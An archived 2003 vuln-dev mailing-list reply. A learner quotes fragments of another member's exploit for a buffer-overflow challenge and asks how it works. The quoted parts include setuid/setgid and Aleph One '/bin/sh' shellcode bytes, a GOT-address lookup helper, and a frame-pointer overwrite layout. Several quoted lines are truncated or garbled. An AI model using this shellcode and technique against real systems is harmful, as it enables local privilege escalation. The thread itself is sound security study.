|
|||||||||||
|
Re: [Vuln-dev Challenge] Challenge #2
From: Diode Trnasistor <ffddfe(at)yahoo.com>
Date: Sun May 25 2003 - 06:52:22 EDT
I'm sure there are others with similar questions, and i'm also sure it's easy to assume that the reader knows things which seem trivial to those who wrote these pieces of code. Maybe this will help us all. Rereading my comments below i get the sense that there is some well known order to how environment is laid out in relation to the process. I think the source of our lack of understanding is not knowing this order. I also get the feeling that some exploitation technique is taking place, based on overwriting the frame pointer, again, i don't think we know anything about it. Any sort of explonation would be most welcome, and i'm sure we'll pick it up quick. And that's the point of this whole thing, isn't it? Here goes:
### i'd like to know how exactly you determined that ### the actuall size allocated is 108> > const char *victim = "./vulndev-2"; > ### the shellcode..i get this too. > char shellcode[] = > /* setuid and setgid */ > "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" > "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" > /* the Aleph One shellcode */ > > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" > > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" > "\x80\xe8\xdc\xff\xff\xff/bin/sh"; ### ok got this too, after the bfp is the saved eip ### ..right? Why did you not mention the eip? ### is it irrelevant to this code somehow?> */ > ### prototyping the function which will get the ### GOT adress, i get this. > int gotof(const char *exe, const char *function); > ### the function itself, i get this too. > int gotof(const char *exe, const char *function) { > char command[255]; > int got = 0; > FILE *f; > > snprintf(command, 255, "%s -R %s | %s ' %s$'|awk '{ > print $1 }'", > OBJDUMP, exe, GREP, function); > > f = popen(command, "r"); > if(f == NULL) return 0; > if(fscanf(f, "%x\n", &got) == 0) { > fclose(f); > return 0; > } > fclose(f); > return got; > } > ### main, I KNOW MAIN! > int > main(int argc, char **argv) {
### the environment to pass to exec*
> victim */
> ### don't see why this is so important. ### why is it important?> strlen(shellcode);
## ok make argv2 point to value of saddr.
> 2);
>
### i cry so much.
### let's see what we're doing.
### so we're killing ourselves and replacing
### ourselves with an instance of vulnerable
### program. To it we're passing arg1, 108
### first bytes of which are filled with A's
### and which will fit into the buf buffer
### and then the next four bytes are the
### adress of printf. This adress of printf
### will overwrite the frame base pointer on
### the stack. This somehow helps us, i
### fail to see how. As the second argument
### we pass the numerical adress which again
### somehow points to the shellcode which
### in environment. I don't know how we
### derived this adress, but we somehow did.
### i also don't know how this adress gets
### used. Vuln2 doesnt' seem to touch it.
### Anyways, after this is done i'm supposed
### to have a shell. I really don't
### understand how.
> }
> > > Do you Yahoo!? The New Yahoo! Search - Faster. Easier. Bingo. http://search.yahoo.com Received on Mon May 26 03:25:31 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:39 EDT |
||||||||||
|
|||||||||||